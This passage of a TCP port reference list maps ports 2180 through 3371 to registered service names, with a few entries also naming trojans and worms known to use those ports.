    TCP  2180  Millicent Vendor Gateway Server
    TCP  2181  eforward
    TCP  2190  TiVoConnect Beacon
    TCP  2191  TvBus Messaging
    TCP  2200  ICI
    TCP  2201  Advanced Training System Program
    TCP  2202  Int. Multimedia Teleconferencing Cosortium
    TCP  2213  Kali
    TCP  2220  Ganymede
    TCP  2221  Rockwell CSP1
    TCP  2222  Rockwell CSP2
    TCP  2223  Rockwell CSP3
    TCP  2232  IVS Video default
    TCP  2233  INFOCRYPT
    TCP  2234  DirectPlay
    TCP  2235  Sercomm-WLink
    TCP  2236  Nani
    TCP  2237  Optech Port1 License Manager
    TCP  2238  AVIVA SNA SERVER
    TCP  2239  Image Query
    TCP  2240  RECIPe
    TCP  2241  IVS Daemon
    TCP  2242  Folio Remote Server
    TCP  2243  Magicom Protocol
    TCP  2244  NMS Server
    TCP  2245  HaO
    TCP  2279  xmquery
    TCP  2280  LNVPOLLER
    TCP  2281  LNVCONSOLE
    TCP  2282  LNVALARM
    TCP  2283  Dumaru.Y (Windows trojan) / LNVSTATUS
    TCP  2284  LNVMAPS
    TCP  2285  LNVMAILMON
    TCP  2286  NAS-Metering
    TCP  2287  DNA
    TCP  2288  NETML
    TCP  2294  Konshus License Manager (FLEX)
    TCP  2295  Advant License Manager
    TCP  2296  Theta License Manager (Rainbow)
    TCP  2297  D2K DataMover 1
    TCP  2298  D2K DataMover 2
    TCP  2299  PC Telecommute
    TCP  2300  CVMMON
    TCP  2301  Compaq HTTP
    TCP  2302  Bindery Support
    TCP  2303  Proxy Gateway
    TCP  2304  Attachmate UTS
    TCP  2305  MT ScaleServer
    TCP  2306  TAPPI BoxNet
    TCP  2307  pehelp
    TCP  2308  sdhelp
    TCP  2309  SD Server
    TCP  2310  SD Client
    TCP  2311  Message Service
    TCP  2313  IAPP (Inter Access Point Protocol)
    TCP  2314  CR WebSystems
    TCP  2315  Precise Sft.
    TCP  2316  SENT License Manager
    TCP  2317  Attachmate G32
    TCP  2318  Cadence Control
    TCP  2319  InfoLibria
    TCP  2320  Siebel NS
    TCP  2321  RDLAP over UDP
    TCP  2322  ofsd
    TCP  2323  3d-nfsd
    TCP  2324  Cosmocall
    TCP  2325  Design Space License Management
    TCP  2326  IDCP
    TCP  2327  xingcsm
    TCP  2328  Netrix SFTM
    TCP  2329  NVD
    TCP  2330  TSCCHAT
    TCP  2331  AGENTVIEW
    TCP  2332  RCC Host
    TCP  2333  SNAPP
    TCP  2334  ACE Client Auth
    TCP  2335  ACE Proxy
    TCP  2336  Apple UG Control
    TCP  2337  ideesrv
    TCP  2338  Norton Lambert
    TCP  2339  3Com WebView
    TCP  2340  WRS Registry
    TCP  2341  XIO Status
    TCP  2342  Seagate Manage Exec
    TCP  2343  nati logos
    TCP  2344  fcmsys
    TCP  2345  dbm
    TCP  2346  Game Connection Port
    TCP  2347  Game Announcement and Location
    TCP  2348  Information to query for game status
    TCP  2349  Diagnostics Port
    TCP  2350  psbserver
    TCP  2351  psrserver
    TCP  2352  pslserver
    TCP  2353  pspserver
    TCP  2354  psprserver
    TCP  2355  psdbserver
    TCP  2356  GXT License Managemant
    TCP  2357  UniHub Server
    TCP  2358  Futrix
    TCP  2359  FlukeServer
    TCP  2360  NexstorIndLtd
    TCP  2361  TL1
    TCP  2362  digiman
    TCP  2363  Media Central NFSD
    TCP  2364  OI-2000
    TCP  2365  dbref
    TCP  2366  qip-login
    TCP  2367  Service Control
    TCP  2368  OpenTable
    TCP  2369  ACS2000 DSP
    TCP  2370  L3-HBMon
    TCP  2381  Compaq HTTPS
    TCP  2382  Microsoft OLAP
    TCP  2383  Microsoft OLAP
    TCP  2384  SD-REQUEST
    TCP  2389  OpenView Session Mgr
    TCP  2390  RSMTP
    TCP  2391  3COM Net Management
    TCP  2392  Tactical Auth
    TCP  2393  MS OLAP 1
    TCP  2394  MS OLAP 2
    TCP  2395  LAN900 Remote
    TCP  2396  Wusage
    TCP  2397  NCL
    TCP  2398  Orbiter
    TCP  2399  FileMaker Inc. - Data Access Layer
    TCP  2400  OpEquus Server
    TCP  2401  cvspserver
    TCP  2402  TaskMaster 2000 Server
    TCP  2403  TaskMaster 2000 Web
    TCP  2404  IEC870-5-104
    TCP  2405  TRC Netpoll
    TCP  2406  JediServer
    TCP  2407  Orion
    TCP  2408  OptimaNet
    TCP  2409  SNS Protocol
    TCP  2410  VRTS Registry
    TCP  2411  Netwave AP Management
    TCP  2412  CDN
    TCP  2413  orion-rmi-reg
    TCP  2414  Interlingua
    TCP  2415  COMTEST
    TCP  2416  RMT Server
    TCP  2417  Composit Server
    TCP  2418  cas
    TCP  2419  Attachmate S2S
    TCP  2420  DSL Remote Management
    TCP  2421  G-Talk
    TCP  2422  CRMSBITS
    TCP  2423  RNRP
    TCP  2424  KOFAX-SVR
    TCP  2425  Fujitsu App Manager
    TCP  2426  Appliant TCP
    TCP  2427  Media Gateway Control Protocol Gateway
    TCP  2428  One Way Trip Time
    TCP  2429  FT-ROLE
    TCP  2430  venus
    TCP  2431  venus-se
    TCP  2432  codasrv
    TCP  2433  codasrv-se
    TCP  2434  pxc-epmap
    TCP  2435  OptiLogic
    TCP  2436  TOP/X
    TCP  2437  UniControl
    TCP  2438  MSP
    TCP  2439  SybaseDBSynch
    TCP  2440  Spearway Lockers
    TCP  2441  pvsw-inet
    TCP  2442  Netangel
    TCP  2443  PowerClient Central Storage Facility
    TCP  2444  BT PP2 Sectrans
    TCP  2445  DTN1
    TCP  2446  bues_service
    TCP  2447  OpenView NNM daemon
    TCP  2448  hpppsvr
    TCP  2449  RATL
    TCP  2450  netadmin
    TCP  2451  netchat
    TCP  2452  SnifferClient
    TCP  2453  madge-om
    TCP  2454  IndX-DDS
    TCP  2455  WAGO-IO-SYSTEM
    TCP  2456  altav-remmgt
    TCP  2457  Rapido_IP
    TCP  2458  griffin
    TCP  2459  Community
    TCP  2460  ms-theater
    TCP  2461  qadmifoper
    TCP  2462  qadmifevent
    TCP  2463  Symbios Raid
    TCP  2464  DirecPC SI
    TCP  2465  Load Balance Management
    TCP  2466  Load Balance Forwarding
    TCP  2467  High Criteria
    TCP  2468  qip_msgd
    TCP  2469  MTI-TCS-COMM
    TCP  2470  taskman port
    TCP  2471  SeaODBC
    TCP  2472  C3
    TCP  2473  Aker-cdp
    TCP  2474  Vital Analysis
    TCP  2475  ACE Server
    TCP  2476  ACE Server Propagation
    TCP  2477  SecurSight Certificate Valifation Service
    TCP  2478  SecurSight Authentication Server (SLL)
    TCP  2479  SecurSight Event Logging Server (SSL)
    TCP  2480  Lingwood's Detail
    TCP  2481  Oracle GIOP
    TCP  2482  Oracle GIOP SSL
    TCP  2483  Oracle TTC
    TCP  2484  Oracle TTC SSL
    TCP  2485  Net Objects1
    TCP  2486  Net Objects2
    TCP  2487  Policy Notice Service
    TCP  2488  Moy Corporation
    TCP  2489  TSILB
    TCP  2490  qip_qdhcp
    TCP  2491  Conclave CPP
    TCP  2492  GROOVE
    TCP  2493  Talarian MQS
    TCP  2494  BMC AR
    TCP  2495  Fast Remote Services
    TCP  2496  DIRGIS
    TCP  2497  Quad DB
    TCP  2498  ODN-CasTraq
    TCP  2499  UniControl
    TCP  2500  Resource Tracking system server
    TCP  2501  Resource Tracking system client
    TCP  2502  Kentrox Protocol
    TCP  2503  NMS-DPNSS
    TCP  2504  WLBS
    TCP  2505  torque-traffic
    TCP  2506  jbroker
    TCP  2507  spock
    TCP  2508  JDataStore
    TCP  2509  fjmpss
    TCP  2510  fjappmgrbulk
    TCP  2511  Metastorm
    TCP  2512  Citrix IMA
    TCP  2513  Citrix ADMIN
    TCP  2514  Facsys NTP
    TCP  2515  Facsys Router
    TCP  2516  Main Control
    TCP  2517  H.323 Annex E call signaling transport
    TCP  2518  Willy
    TCP  2519  globmsgsvc
    TCP  2520  pvsw
    TCP  2521  Adaptec Manager
    TCP  2522  WinDb
    TCP  2523  Qke LLC V.3
    TCP  2524  Optiwave License Management
    TCP  2525  MS V-Worlds
    TCP  2526  EMA License Manager
    TCP  2527  IQ Server
    TCP  2528  NCR CCL
    TCP  2529  UTS FTP
    TCP  2530  VR Commerce
    TCP  2531  ITO-E GUI
    TCP  2532  OVTOPMD
    TCP  2533  SnifferServer
    TCP  2534  Combox Web Access
    TCP  2535  W32.Beagle trojan / MADCAP
    TCP  2536  btpp2audctr1
    TCP  2537  Upgrade Protocol
    TCP  2538  vnwk-prapi
    TCP  2539  VSI Admin
    TCP  2540  LonWorks
    TCP  2541  LonWorks2
    TCP  2542  daVinci
    TCP  2543  REFTEK
    TCP  2544  Novell ZEN
    TCP  2545  sis-emt
    TCP  2546  vytalvaultbrtp
    TCP  2547  vytalvaultvsmp
    TCP  2548  vytalvaultpipe
    TCP  2549  IPASS
    TCP  2550  ADS
    TCP  2551  ISG UDA Server
    TCP  2552  Call Logging
    TCP  2553  efidiningport
    TCP  2554  VCnet-Link v10
    TCP  2555  Compaq WCP
    TCP  2556  W32.Beagle.N trojan / MADCAP / nicetec-nmsvc
    TCP  2557  nicetec-mgmt
    TCP  2558  PCLE Multi Media
    TCP  2559  LSTP
    TCP  2560  labrat
    TCP  2561  MosaixCC
    TCP  2562  Delibo
    TCP  2563  CTI Redwood
    TCP  2564  HP 3000 NS/VT block mode telnet
    TCP  2565  Coordinator Server
    TCP  2566  pcs-pcw
    TCP  2567  Cisco Line Protocol
    TCP  2568  SPAM TRAP
    TCP  2569  Sonus Call Signal
    TCP  2570  HS Port
    TCP  2571  CECSVC
    TCP  2572  IBP
    TCP  2573  Trust Establish
    TCP  2574  Blockade BPSP
    TCP  2575  HL7
    TCP  2576  TCL Pro Debugger
    TCP  2577  Scriptics Lsrvr
    TCP  2578  RVS ISDN DCP
    TCP  2579  mpfoncl
    TCP  2580  Tributary
    TCP  2581  ARGIS TE
    TCP  2582  ARGIS DS
    TCP  2583  MON / Wincrash2
    TCP  2584  cyaserv
    TCP  2585  NETX Server
    TCP  2586  NETX Agent
    TCP  2587  MASC
    TCP  2588  Privilege
    TCP  2589  quartus tcl
    TCP  2590  idotdist
    TCP  2591  Maytag Shuffle
    TCP  2592  netrek
    TCP  2593  MNS Mail Notice Service
    TCP  2594  Data Base Server
    TCP  2595  World Fusion 1
    TCP  2596  World Fusion 2
    TCP  2597  Homestead Glory
    TCP  2598  Citrix MA Client
    TCP  2599  Meridian Data
    TCP  2600  HPSTGMGR
    TCP  2601  discp client
    TCP  2602  discp server
    TCP  2603  Service Meter
    TCP  2604  NSC CCS
    TCP  2605  NSC POSA
    TCP  2606  Dell Netmon
    TCP  2607  Dell Connection
    TCP  2608  Wag Service
    TCP  2609  System Monitor
    TCP  2610  VersaTek
    TCP  2611  LIONHEAD
    TCP  2612  Qpasa Agent
    TCP  2613  SMNTUBootstrap
    TCP  2614  Never Offline
    TCP  2615  firepower
    TCP  2616  appswitch-emp
    TCP  2617  Clinical Context Managers
    TCP  2618  Priority E-Com
    TCP  2619  bruce
    TCP  2620  LPSRecommender
    TCP  2621  Miles Apart Jukebox Server
    TCP  2622  MetricaDBC
    TCP  2623  LMDP
    TCP  2624  Aria
    TCP  2625  Blwnkl Port
    TCP  2626  gbjd816
    TCP  2627  Moshe Beeri
    TCP  2628  DICT
    TCP  2629  Sitara Server
    TCP  2630  Sitara Management
    TCP  2631  Sitara Dir
    TCP  2632  IRdg Post
    TCP  2633  InterIntelli
    TCP  2634  PK Electronics
    TCP  2635  Back Burner
    TCP  2636  Solve
    TCP  2637  Import Document Service
    TCP  2638  Sybase Anywhere
    TCP  2639  AMInet
    TCP  2640  Sabbagh Associates Licence Manager
    TCP  2641  HDL Server
    TCP  2642  Tragic
    TCP  2643  GTE-SAMP
    TCP  2644  Travsoft IPX Tunnel
    TCP  2645  Novell IPX CMD
    TCP  2646  AND Licence Manager
    TCP  2647  SyncServer
    TCP  2648  Upsnotifyprot
    TCP  2649  VPSIPPORT
    TCP  2650  eristwoguns
    TCP  2651  EBInSite
    TCP  2652  InterPathPanel
    TCP  2653  Sonus
    TCP  2654  Corel VNC Admin
    TCP  2655  UNIX Nt Glue
    TCP  2656  Kana
    TCP  2657  SNS Dispatcher
    TCP  2658  SNS Admin
    TCP  2659  SNS Query
    TCP  2660  GC Monitor
    TCP  2661  OLHOST
    TCP  2662  BinTec-CAPI
    TCP  2663  BinTec-TAPI
    TCP  2664  Command MQ GM
    TCP  2665  Command MQ PM
    TCP  2666  extensis
    TCP  2667  Alarm Clock Server
    TCP  2668  Alarm Clock Client
    TCP  2669  TOAD
    TCP  2670  TVE Announce
    TCP  2671  newlixreg
    TCP  2672  nhserver
    TCP  2673  First Call 42
    TCP  2674  ewnn
    TCP  2675  TTC ETAP
    TCP  2676  SIMSLink
    TCP  2677  Gadget Gate 1 Way
    TCP  2678  Gadget Gate 2 Way
    TCP  2679  Sync Server SSL
    TCP  2680  pxc-sapxom
    TCP  2681  mpnjsomb
    TCP  2682  SRSP
    TCP  2683  NCDLoadBalance
    TCP  2684  mpnjsosv
    TCP  2685  mpnjsocl
    TCP  2686  mpnjsomg
    TCP  2687  pq-lic-mgmt
    TCP  2688  md-cf-HTTP
    TCP  2689  FastLynx
    TCP  2690  HP NNM Embedded Database
    TCP  2691  IT Internet
    TCP  2692  Admins LMS
    TCP  2693  belarc-HTTP
    TCP  2694  pwrsevent
    TCP  2695  VSPREAD
    TCP  2696  Unify Admin
    TCP  2697  Oce SNMP Trap Port
    TCP  2698  MCK-IVPIP
    TCP  2699  Csoft Plus Client
    TCP  2700  tqdata
    TCP  2701  SMS Remote Control (control)
    TCP  2702  SMS Remote Control (data)
    TCP  2703  SMS Remote Control (chat)
    TCP  2704  SMS Remote File Transfer
    TCP  2705  SDS Admin
    TCP  2706  NCD Mirroring
    TCP  2707  EMCSYMAPIPORT
    TCP  2708  Banyan-Net
    TCP  2709  Supermon
    TCP  2710  SSO Service
    TCP  2711  SSO Control
    TCP  2712  Axapta Object Communication Protocol
    TCP  2713  Raven1
    TCP  2714  Raven2
    TCP  2715  HPSTGMGR2
    TCP  2716  Inova IP Disco
    TCP  2717  PN REQUESTER
    TCP  2718  PN REQUESTER 2
    TCP  2719  Scan & Change
    TCP  2720  wkars
    TCP  2721  Smart Diagnose
    TCP  2722  Proactive Server
    TCP  2723  WatchDog NT
    TCP  2724  qotps
    TCP  2725  SQL Analysis Services / MSOLAP PTP2
    TCP  2726  TAMS
    TCP  2727  Media Gateway Control Protocol Call Agent
    TCP  2728  SQDR
    TCP  2729  TCIM Control
    TCP  2730  NEC RaidPlus
    TCP  2731  NetDragon Messanger
    TCP  2732  G5M
    TCP  2733  Signet CTF
    TCP  2734  CCS Software
    TCP  2735  Monitor Console
    TCP  2736  RADWIZ NMS SRV
    TCP  2737  SRP Feedback
    TCP  2738  NDL TCP-OSI Gateway
    TCP  2739  TN Timing
    TCP  2740  Alarm
    TCP  2741  TSB
    TCP  2742  TSB2
    TCP  2743  murx
    TCP  2744  honyaku
    TCP  2745  W32.Beagle.C trojan) / URBISNET
    TCP  2746  CPUDPENCAP
    TCP  2747  yk.fujitsu.co.jp
    TCP  2748  yk.fujitsu.co.jp
    TCP  2749  yk.fujitsu.co.jp
    TCP  2750  yk.fujitsu.co.jp
    TCP  2751  yk.fujitsu.co.jp
    TCP  2752  RSISYS ACCESS
    TCP  2753  de-spot
    TCP  2754  APOLLO CC
    TCP  2755  Express Pay
    TCP  2756  simplement-tie
    TCP  2757  CNRP
    TCP  2758  APOLLO Status
    TCP  2759  APOLLO GMS
    TCP  2760  Saba MS
    TCP  2761  DICOM ISCL
    TCP  2762  DICOM TLS
    TCP  2763  Desktop DNA
    TCP  2764  Data Insurance
    TCP  2765  qip-audup
    TCP  2766  Compaq SCP
    TCP  2767  UADTC
    TCP  2768  UACS
    TCP  2769  Single Point MVS
    TCP  2770  Veronica
    TCP  2771  Vergence CM
    TCP  2772  auris
    TCP  2773  PC Backup
    TCP  2774  PC Backup
    TCP  2775  SMMP
    TCP  2776  Ridgeway Systems & Software
    TCP  2777  Ridgeway Systems & Software
    TCP  2778  Gwen-Sonya
    TCP  2779  LBC Sync
    TCP  2780  LBC Control
    TCP  2781  whosells
    TCP  2782  everydayrc
    TCP  2783  AISES
    TCP  2784  world wide web - development
    TCP  2785  aic-np
    TCP  2786  aic-oncrpc - Destiny MCD database
    TCP  2787  piccolo - Cornerstone Software
    TCP  2788  NetWare Loadable Module - Seagate Software
    TCP  2789  Media Agent
    TCP  2790  PLG Proxy
    TCP  2791  MT Port Registrator
    TCP  2792  f5-globalsite
    TCP  2793  initlsmsad
    TCP  2794  aaftp
    TCP  2795  LiveStats
    TCP  2796  ac-tech
    TCP  2797  esp-encap
    TCP  2798  TMESIS-UPShot
    TCP  2799  ICON Discover
    TCP  2800  ACC RAID
    TCP  2801  IGCP
    TCP  2802  Veritas TCP1
    TCP  2803  btprjctrl
    TCP  2804  Telexis VTU
    TCP  2805  WTA WSP-S
    TCP  2806  cspuni
    TCP  2807  cspmulti
    TCP  2808  J-LAN-P
    TCP  2809  CORBA LOC
    TCP  2810  Active Net Steward
    TCP  2811  GSI FTP
    TCP  2812  atmtcp
    TCP  2813  llm-pass
    TCP  2814  llm-csv
    TCP  2815  LBC Measurement
    TCP  2816  LBC Watchdog
    TCP  2817  NMSig Port
    TCP  2818  rmlnk
    TCP  2819  FC Fault Notification
    TCP  2820  UniVision
    TCP  2821  vml_dms
    TCP  2822  ka0wuc
    TCP  2823  CQG Net/LAN
    TCP  2826  slc systemlog
    TCP  2827  slc ctrlrloops
    TCP  2828  ITM License Manager
    TCP  2829  silkp1
    TCP  2830  silkp2
    TCP  2831  silkp3
    TCP  2832  silkp4
    TCP  2833  glishd
    TCP  2834  EVTP
    TCP  2835  EVTP-DATA
    TCP  2836  catalyst
    TCP  2837  Repliweb
    TCP  2838  Starbot
    TCP  2839  NMSigPort
    TCP  2840  l3-exprt
    TCP  2841  l3-ranger
    TCP  2842  l3-hawk
    TCP  2843  PDnet
    TCP  2844  BPCP POLL
    TCP  2845  BPCP TRAP
    TCP  2846  AIMPP Hello
    TCP  2847  AIMPP Port Req
    TCP  2848  AMT-BLC-PORT
    TCP  2849  FXP
    TCP  2850  MetaConsole
    TCP  2851  webemshttp
    TCP  2852  bears-01
    TCP  2853  ISPipes
    TCP  2854  InfoMover
    TCP  2856  cesdinv
    TCP  2857  SimCtIP
    TCP  2858  ECNP
    TCP  2859  Active Memory
    TCP  2860  Dialpad Voice 1
    TCP  2861  Dialpad Voice 2
    TCP  2862  TTG Protocol
    TCP  2863  Sonar Data
    TCP  2864  main 5001 cmd
    TCP  2865  pit-vpn
    TCP  2866  lwlistener
    TCP  2867  esps-portal
    TCP  2868  NPEP Messaging
    TCP  2869  SSDP event notification / ICSLAP
    TCP  2870  daishi
    TCP  2871  MSI Select Play
    TCP  2872  CONTRACT
    TCP  2873  PASPAR2 ZoomIn
    TCP  2874  dxmessagebase1
    TCP  2875  dxmessagebase2
    TCP  2876  SPS Tunnel
    TCP  2877  BLUELANCE
    TCP  2878  AAP
    TCP  2879  ucentric-ds
    TCP  2880  synapse
    TCP  2881  NDSP
    TCP  2882  NDTP
    TCP  2883  NDNP
    TCP  2884  Flash Msg
    TCP  2885  TopFlow
    TCP  2886  RESPONSELOGIC
    TCP  2887  aironet
    TCP  2888  SPCSDLOBBY
    TCP  2889  RSOM
    TCP  2890  CSPCLMULTI
    TCP  2891  CINEGRFX-ELMD License Manager
    TCP  2892  SNIFFERDATA
    TCP  2893  VSECONNECTOR
    TCP  2894  ABACUS-REMOTE
    TCP  2895  NATUS LINK
    TCP  2896  ECOVISIONG6-1
    TCP  2897  Citrix RTMP
    TCP  2898  APPLIANCE-CFG
    TCP  2899  case.nm.fujitsu.co.jp
    TCP  2900  magisoft.com
    TCP  2901  ALLSTORCNS
    TCP  2902  NET ASPI
    TCP  2903  SUITCASE
    TCP  2904  M2UA
    TCP  2905  M3UA
    TCP  2906  CALLER9
    TCP  2907  WEBMETHODS B2B
    TCP  2908  mao
    TCP  2909  Funk Dialout
    TCP  2910  TDAccess
    TCP  2911  Blockade
    TCP  2912  Epicon
    TCP  2913  Booster Ware
    TCP  2914  Game Lobby
    TCP  2915  TK Socket
    TCP  2916  Elvin Server
    TCP  2917  Elvin Client
    TCP  2918  Kasten Chase Pad
    TCP  2919  ROBOER
    TCP  2920  ROBOEDA
    TCP  2921  CESD Contents Delivery Management
    TCP  2922  CESD Contents Delivery Data Transfer
    TCP  2923  WTA-WSP-WTP-S
    TCP  2924  PRECISE-VIP
    TCP  2925  Firewall Redundancy Protocol
    TCP  2926  MOBILE-FILE-DL
    TCP  2927  UNIMOBILECTRL
    TCP  2928  REDSTONE-CPSS
    TCP  2929  PANJA-WEBADMIN
    TCP  2930  PANJA-WEBLINX
    TCP  2931  Circle-X
    TCP  2932  INCP
    TCP  2933  4-TIER OPM GW
    TCP  2934  4-TIER OPM CLI
    TCP  2935  QTP
    TCP  2936  OTPatch
    TCP  2937  PNACONSULT-LM
    TCP  2938  SM-PAS-1
    TCP  2939  SM-PAS-2
    TCP  2940  SM-PAS-3
    TCP  2941  SM-PAS-4
    TCP  2942  SM-PAS-5
    TCP  2943  TTNRepository
    TCP  2944  Megaco H-248
    TCP  2945  H248 Binary
    TCP  2946  FJSVmpor
    TCP  2947  GPSD
    TCP  2948  WAP PUSH
    TCP  2949  WAP PUSH SECURE
    TCP  2950  ESIP
    TCP  2951  OTTP
    TCP  2952  MPFWSAS
    TCP  2953  OVALARMSRV
    TCP  2954  OVALARMSRV-CMD
    TCP  2955  CSNOTIFY
    TCP  2956  OVRIMOSDBMAN
    TCP  2957  JAMCT5
    TCP  2958  JAMCT6
    TCP  2959  RMOPAGT
    TCP  2960  DFOXSERVER
    TCP  2961  BOLDSOFT-LM
    TCP  2962  IPH-POLICY-CLI
    TCP  2963  IPH-POLICY-ADM
    TCP  2964  BULLANT SRAP
    TCP  2965  BULLANT RAP
    TCP  2966  IDP-INFOTRIEVE
    TCP  2967  SSC-AGENT
    TCP  2968  ENPP
    TCP  2969  UPnP / ESSP
    TCP  2970  INDEX-NET
    TCP  2971  Net Clip
    TCP  2972  PMSM Webrctl
    TCP  2973  SV Networks
    TCP  2974  Signal
    TCP  2975  Fujitsu Configuration Management Service
    TCP  2976  CNS Server Port
    TCP  2977  TTCs Enterprise Test Access Protocol - NS
    TCP  2978  TTCs Enterprise Test Access Protocol - DS
    TCP  2979  H.263 Video Streaming
    TCP  2980  Instant Messaging Service
    TCP  2981  MYLXAMPORT
    TCP  2982  IWB-WHITEBOARD
    TCP  2983  NETPLAN
    TCP  2984  HPIDSADMIN
    TCP  2985  HPIDSAGENT
    TCP  2986  STONEFALLS
    TCP  2987  IDENTIFY
    TCP  2988  CLASSIFY
    TCP  2989  ZARKOV
    TCP  2990  BOSCAP
    TCP  2991  WKSTN-MON
    TCP  2992  ITB301
    TCP  2993  VERITAS VIS1
    TCP  2994  VERITAS VIS2
    TCP  2995  IDRS
    TCP  2996  vsixml
    TCP  2997  REBOL
    TCP  2998  Real Secure
    TCP  2999  RemoteWare Unassigned
    TCP  3000  RemoteWare Client
    TCP  3001  Phatbot Worm / Redwood Broker
    TCP  3002  RemoteWare Server
    TCP  3003  CGMS
    TCP  3004  Csoft Agent
    TCP  3005  Genius License Manager
    TCP  3006  Instant Internet Admin
    TCP  3007  Lotus Mail Tracking Agent Protocol
    TCP  3008  Midnight Technologies
    TCP  3009  PXC-NTFY
    TCP  3010  Telerate Workstation
    TCP  3011  Trusted Web
    TCP  3012  Trusted Web Client
    TCP  3013  Gilat Sky Surfer
    TCP  3014  Broker Service
    TCP  3015  NATI DSTP
    TCP  3016  Notify Server
    TCP  3017  Event Listener
    TCP  3018  Service Registry
    TCP  3019  Resource Manager
    TCP  3020  CIFS
    TCP  3021  AGRI Server
    TCP  3022  CSREGAGENT
    TCP  3023  magicnotes
    TCP  3024  NDS_SSO
    TCP  3025  Arepa Raft
    TCP  3026  AGRI Gateway
    TCP  3027  LiebDevMgmt_C
    TCP  3028  LiebDevMgmt_DM
    TCP  3029  LiebDevMgmt_A
    TCP  3030  Arepa Cas
    TCP  3031  AgentVU
    TCP  3032  Redwood Chat
    TCP  3033  PDB
    TCP  3034  Osmosis AEEA
    TCP  3035  FJSV gssagt
    TCP  3036  Hagel DUMP
    TCP  3037  HP SAN Mgmt
    TCP  3038  Santak UPS
    TCP  3039  Cogitate Inc.
    TCP  3040  Tomato Springs
    TCP  3041  di-traceware
    TCP  3042  journee
    TCP  3043  BRP
    TCP  3045  ResponseNet
    TCP  3046  di-ase
    TCP  3047  Fast Security HL Server
    TCP  3048  Sierra Net PC Trader
    TCP  3049  NSWS
    TCP  3050  gds_db
    TCP  3051  Galaxy Server
    TCP  3052  APCPCNS
    TCP  3053  dsom-server
    TCP  3054  AMT CNF PROT
    TCP  3055  Policy Server
    TCP  3056  CDL Server
    TCP  3057  GoAhead FldUp
    TCP  3058  videobeans
    TCP  3059  qsoft
    TCP  3060  interserver
    TCP  3061  cautcpd
    TCP  3062  ncacn-ip-tcp
    TCP  3063  ncadg-ip-udp
    TCP  3065  slinterbase
    TCP  3066  NETATTACHSDMP
    TCP  3067  W32.Korgo Worm / FJHPJP
    TCP  3068  ls3 Broadcast
    TCP  3069  ls3
    TCP  3070  MGXSWITCH
    TCP  3075  Orbix 2000 Locator
    TCP  3076  Orbix 2000 Config
    TCP  3077  Orbix 2000 Locator SSL
    TCP  3078  Orbix 2000 Locator SSL
    TCP  3079  LV Front Panel
    TCP  3080  stm_pproc
    TCP  3081  TL1-LV
    TCP  3082  TL1-RAW
    TCP  3083  TL1-TELNET
    TCP  3084  ITM-MCCS
    TCP  3085  PCIHReq
    TCP  3086  JDL-DBKitchen
    TCP  3105  Cardbox
    TCP  3106  Cardbox HTTP
    TCP  3127  W32.Mydoom.A virus
    TCP  3128  Squid HTTP Proxy / W32.Mydoom.B virus
    TCP  3129  Master's Paradise (Windows Trojan)
    TCP  3130  ICPv2
    TCP  3131  Net Book Mark
    TCP  3141  VMODEM
    TCP  3142  RDC WH EOS
    TCP  3143  Sea View
    TCP  3144  Tarantella
    TCP  3145  CSI-LFAP
    TCP  3147  RFIO
    TCP  3148  NetMike Game Administrator
    TCP  3149  NetMike Game Server
    TCP  3150  NetMike Assessor Administrator
    TCP  3151  NetMike Assessor
    TCP  3180  Millicent Broker Server
    TCP  3181  BMC Patrol Agent
    TCP  3182  BMC Patrol Rendezvous
    TCP  3262  NECP
    TCP  3264  cc:mail/lotus
    TCP  3265  Altav Tunnel
    TCP  3266  NS CFG Server
    TCP  3267  IBM Dial Out
    TCP  3268  Microsoft Global Catalog
    TCP  3269  Microsoft Global Catalog with LDAP/SSL
    TCP  3270  Verismart
    TCP  3271  CSoft Prev Port
    TCP  3272  Fujitsu User Manager
    TCP  3273  Simple Extensible Multiplexed Protocol
    TCP  3274  Ordinox Server
    TCP  3275  SAMD
    TCP  3276  Maxim ASICs
    TCP  3277  AWG Proxy
    TCP  3278  LKCM Server
    TCP  3279  admind
    TCP  3280  VS Server
    TCP  3281  SYSOPT
    TCP  3282  Datusorb
    TCP  3283  Net Assistant
    TCP  3284  4Talk
    TCP  3285  Plato
    TCP  3286  E-Net
    TCP  3287  DIRECTVDATA
    TCP  3288  COPS
    TCP  3289  ENPC
    TCP  3290  CAPS LOGISTICS TOOLKIT - LM
    TCP  3291  S A Holditch & Associates - LM
    TCP  3292  Cart O Rama
    TCP  3293  fg-fps
    TCP  3294  fg-gip
    TCP  3295  Dynamic IP Lookup
    TCP  3296  Rib License Manager
    TCP  3297  Cytel License Manager
    TCP  3298  Transview
    TCP  3299  pdrncs
    TCP  3300  bmc-patrol-agent
    TCP  3301  Unathorised use by SAP R/3
    TCP  3302  MCS Fastmail
    TCP  3303  OP Session Client
    TCP  3304  OP Session Server
    TCP  3305  ODETTE-FTP
    TCP  3306  MySQL
    TCP  3307  OP Session Proxy
    TCP  3308  TNS Server
    TCP  3309  TNS ADV
    TCP  3310  Dyna Access
    TCP  3311  MCNS Tel Ret
    TCP  3312  Application Management Server
    TCP  3313  Unify Object Broker
    TCP  3314  Unify Object Host
    TCP  3315  CDID
    TCP  3316  AICC/CMI
    TCP  3317  VSAI PORT
    TCP  3318  Swith to Swith Routing Information Protocol
    TCP  3319  SDT License Manager
    TCP  3320  Office Link 2000
    TCP  3321  VNSSTR
    TCP  3325  isi.edu
    TCP  3326  SFTU
    TCP  3327  BBARS
    TCP  3328  Eaglepoint License Manager
    TCP  3329  HP Device Disc
    TCP  3330  MCS Calypso ICF
    TCP  3331  MCS Messaging
    TCP  3332  MCS Mail Server
    TCP  3333  DEC Notes
    TCP  3334  Direct TV Webcasting
    TCP  3335  Direct TV Software Updates
    TCP  3336  Direct TV Tickers
    TCP  3337  Direct TV Data Catalog
    TCP  3338  OMF data b
    TCP  3339  OMF data l
    TCP  3340  OMF data m
    TCP  3341  OMF data h
    TCP  3342  WebTIE
    TCP  3343  MS Cluster Net
    TCP  3344  BNT Manager
    TCP  3345  Influence
    TCP  3346  Trnsprnt Proxy
    TCP  3347  Phoenix RPC
    TCP  3348  Pangolin Laser
    TCP  3349  Chevin Services
    TCP  3350  FINDVIATV
    TCP  3351  BTRIEVE
    TCP  3352  SSQL
    TCP  3353  FATPIPE
    TCP  3354  SUITJD
    TCP  3355  Hogle (proxy backdoor) / Ordinox Dbase
    TCP  3356  UPNOTIFYPS
    TCP  3357  Adtech Test IP
    TCP  3358  Mp Sys Rmsvr
    TCP  3359  WG NetForce
    TCP  3360  KV Server
    TCP  3361  KV Agent
    TCP  3362  DJ ILM
    TCP  3363  NATI Vi Server
    TCP  3364  Creative Server
    TCP  3365  Content Server
    TCP  3366  Creative Partner
    TCP  3371  ccm.jf.intel.com
